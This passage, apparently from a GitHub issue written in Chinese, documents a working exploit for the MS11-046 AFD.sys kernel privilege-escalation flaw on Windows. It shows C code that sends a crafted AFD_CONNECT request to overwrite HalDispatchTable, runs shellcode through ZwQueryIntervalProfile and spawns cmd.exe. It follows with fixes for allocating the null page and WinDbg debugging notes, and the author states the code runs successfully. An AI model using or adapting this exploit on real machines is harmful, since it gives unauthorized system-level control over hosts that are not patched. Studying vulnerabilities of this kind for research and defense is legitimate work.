    peer.sin_port = htons(0);
   
    // inet_addr("127.0.0.1");   
    // peer.sin_addr.s_addr = 0x100007f;
    peer.sin_addr.s_addr = inet_addr("127.0.0.1");;
    tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
    // if (connect(tcp_socket, 
    //             (struct sockaddr *)&peer, 
    //             sizeof(struct sockaddr)) == 0) {
    //     closesocket(tcp_socket);
    //     WSACleanup();
    //     ErrorQuit("connect failed.\n");
    // }

    if (bind(tcp_socket, 
             (struct sockaddr *)&peer, 
             sizeof(struct sockaddr))==SOCKET_ERROR) {
        closesocket(tcp_socket);
        WSACleanup();
        ErrorQuit("bind failed.\n");
    }
    printf("[+] Socket bound successfully (State transitioned to Bound).\n");

    memset(&payload, 0, sizeof(payload));

    payload.SanActive = FALSE;
    payload.RootEndpoint = NULL;
    payload.ConnectEndpoint = NULL;

    // bypass context->RemoteAddress.TAAddressCount != 1
    payload.RemoteAddress.TAAddressCount = 1; 

    // 关键:绕过长度检查
    // RemoteAddressLength 计算基于 InputBufferLength
    // 内部 AddressLength 必须匹配
    payload.RemoteAddress.Address[0].AddressLength = sizeof(TDI_ADDRESS_IP); // 14
    payload.RemoteAddress.Address[0].AddressType = 2; // TDI_ADDRESS_TYPE_IP

    // 填充一个有效的 IP 地址,增加成功返回 STATUS_SUCCESS 的几率
    payload.RemoteAddress.Address[0].Address.sin_port = htons(0);
    payload.RemoteAddress.Address[0].Address.in_addr = inet_addr("127.0.0.1");

    printf("[+] Overwriting HalDispatchTable with those bytes...\n");

    // system("pause");
    DeviceIoControl((HANDLE)tcp_socket,
                    AFD_CONNECT,
                    (LPVOID)&payload,
                    sizeof(payload),
                    (LPVOID)(HalDispatchTable+6),
                    0,
                    &junk,
                    NULL);
    printf("\n\n");

    printf("[+] Executing shellcode...");
    ProfileSource = ProfileTotalIssues;
    ZwQueryIntervalProfile(ProfileSource, &info_result);
    printf("OK!\n");

    printf("[+] Create a new process...");
    GetStartupInfo(&stStartup);
    CreateProcess(NULL,
                  "cmd.exe",
                  NULL,
                  NULL,
                  TRUE,
                  NULL,
                  NULL,
                  NULL,
                  &stStartup,
                  &pi);
    printf("OK!\n");

    return 0;
}
--------------------------------------------------------------------

上面的代码就可以成功运行

不得不佩服写利用代码的人,非常懂得变通,希望自己也能有这么一天。

☆ 遇到的问题 

1. ZwAllocateVirtualMemory分配失败问题

使用原始的shellcode内存分配代码会遇到问题

--------------------------------------------------------------------
LPVOID addr = (LPVOID)0x00000000;
ZwAllocateVirtualMemory(INVALID_HANDLE_VALUE,
                        &addr, 
                        0, 
                        &dwShellSize,
                        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, 
                        PAGE_EXECUTE_READWRITE);
if ((ULONG_PTR)addr != 0x00000000) {
     ErrorQuit("failed!\n");
}
--------------------------------------------------------------------

会提示failed. 这里其实在于调用函数参数问题

来看MSDN上关于ZwAllocateVirtualMemory函数的说明
--------------------------------------------------------------------
NTSYSAPI NTSTATUS ZwAllocateVirtualMemory(
  [in]      HANDLE    ProcessHandle,
  [in, out] PVOID     *BaseAddress, <---
  [in]      ULONG_PTR ZeroBits,
  [in, out] PSIZE_T   RegionSize,
  [in]      ULONG     AllocationType,
  [in]      ULONG     Protect
);

[in, out] BaseAddress

A pointer to a variable that will receive the base address of the 
allocated region of pages. If the initial value of this parameter 
is non-NULL, the region is allocated starting at the specified virtual 
address rounded down to the next host page size address boundary. 
If the initial value of this parameter is NULL, the operating 
system will determine where to allocate the region.
--------------------------------------------------------------------

可以发现BaseAddress的值如果想预设,那么其值就不能为0,可以设置该值为

LPVOID addr = (LPVOID)0x00000001;

这样就能成功在地址为0x00000000的地方分配内存了(其中涉及到了内存对齐)


2. 调试_SEH_prolog的问题

在使用windbg调试内核遇到指令

call    afd!_SEH_prolog

如果直接运行p,那么相当于运行了g命令,程序直接继续运行了,
为了处理这种情况,可以使用t/pt/p结合的命令来绕过,
或者直接在该指令之后的某个位置设置断点即可

--------------------------------------------------------------------
3: kd> pt
Breakpoint 0 hit
afd!AfdConnect:
ba3e2afc 6a48            push    48h
1: kd> p
afd!AfdConnect+0x2:
ba3e2afe 6828f33dba      push    offset afd!ZeroIP6Address+0x70 (ba3df328)
1: kd> p
afd!AfdConnect+0x7:
ba3e2b03 e838a6ffff      call    afd!_SEH_prolog (ba3dd140)
1: kd> t
afd!_SEH_prolog:
ba3dd140 68ebe03dba      push    offset afd!_except_handler3 (ba3de0eb)
1: kd> pt
afd!_SEH_prolog+0x3a:
ba3dd17a c3              ret
1: kd> p
afd!AfdConnect+0xc:
ba3e2b08 8955c4          mov     dword ptr [ebp-3Ch],edx
--------------------------------------------------------------------

具体原理(by Gemini)

--------------------------------------------------------------------
_SEH_prolog 的作用:
    SEH代表Structured Exception Handling (结构化异常处理)。_SEH_prolog是由编译器自动生成的一个辅助函数,
    用于在函数的开头设置异常处理框架。它的主要工作是:
        在当前线程的栈上构建一个_EXCEPTION_REGISTRATION_RECORD结构体。
        将这个结构体链接到内核模式异常处理链的头部(通过修改 fs:[0] 指向的链表)。
        这个过程涉及到直接的栈指针(esp)和帧指针(ebp)操作,以及对栈上关键数据(如返回地址)的修改,
        目的是为了当函数体内发生异常时,系统能够找到对应的异常处理器。

WinDbg p命令的工作原理:
p (step-over) 命令并不是简单地执行一条指令。当它遇到一个 call 指令时,
为了实现“越过”这个函数调用,它会在 call 指令的下一条指令(也就是 call 的返回地址)
处设置一个内部的、临时的断点。然后,它会恢复程序的运行(相当于执行了一个临时的 g)。
当程序执行完被调用的函数并返回时,就会触发这个临时断点,调试器重新获得控制权,
让你感觉是“一步”就越过了这个函数。

两者结合产生的问题:
_SEH_prolog 函数为了建立异常处理帧,会修改当前的栈结构。
在这个过程中,它很可能会覆盖、移动或以其他方式改变 call 指令压入栈中的原始返回地址。

因此,WinDbg在ba3e2b08处设置的那个临时断点,可能因为栈被 _SEH_prolog 修改而永远不会被命中。
当_SEH_prolog执行完毕后,它不会通过一个标准的ret指令返回到ba3e2b08,
而是直接跳转到函数体中需要执行的代码处,或者通过修改 ebp 和 esp 来巧妙地将控制流转移。

由于临时断点没有被命中,调试器也就不会停下来,程序会继续执行下去,从你的角度看,效果就和直接按了 g 一样。
--------------------------------------------------------------------

☆ 参考

微软公告:
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2011/ms11-046

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions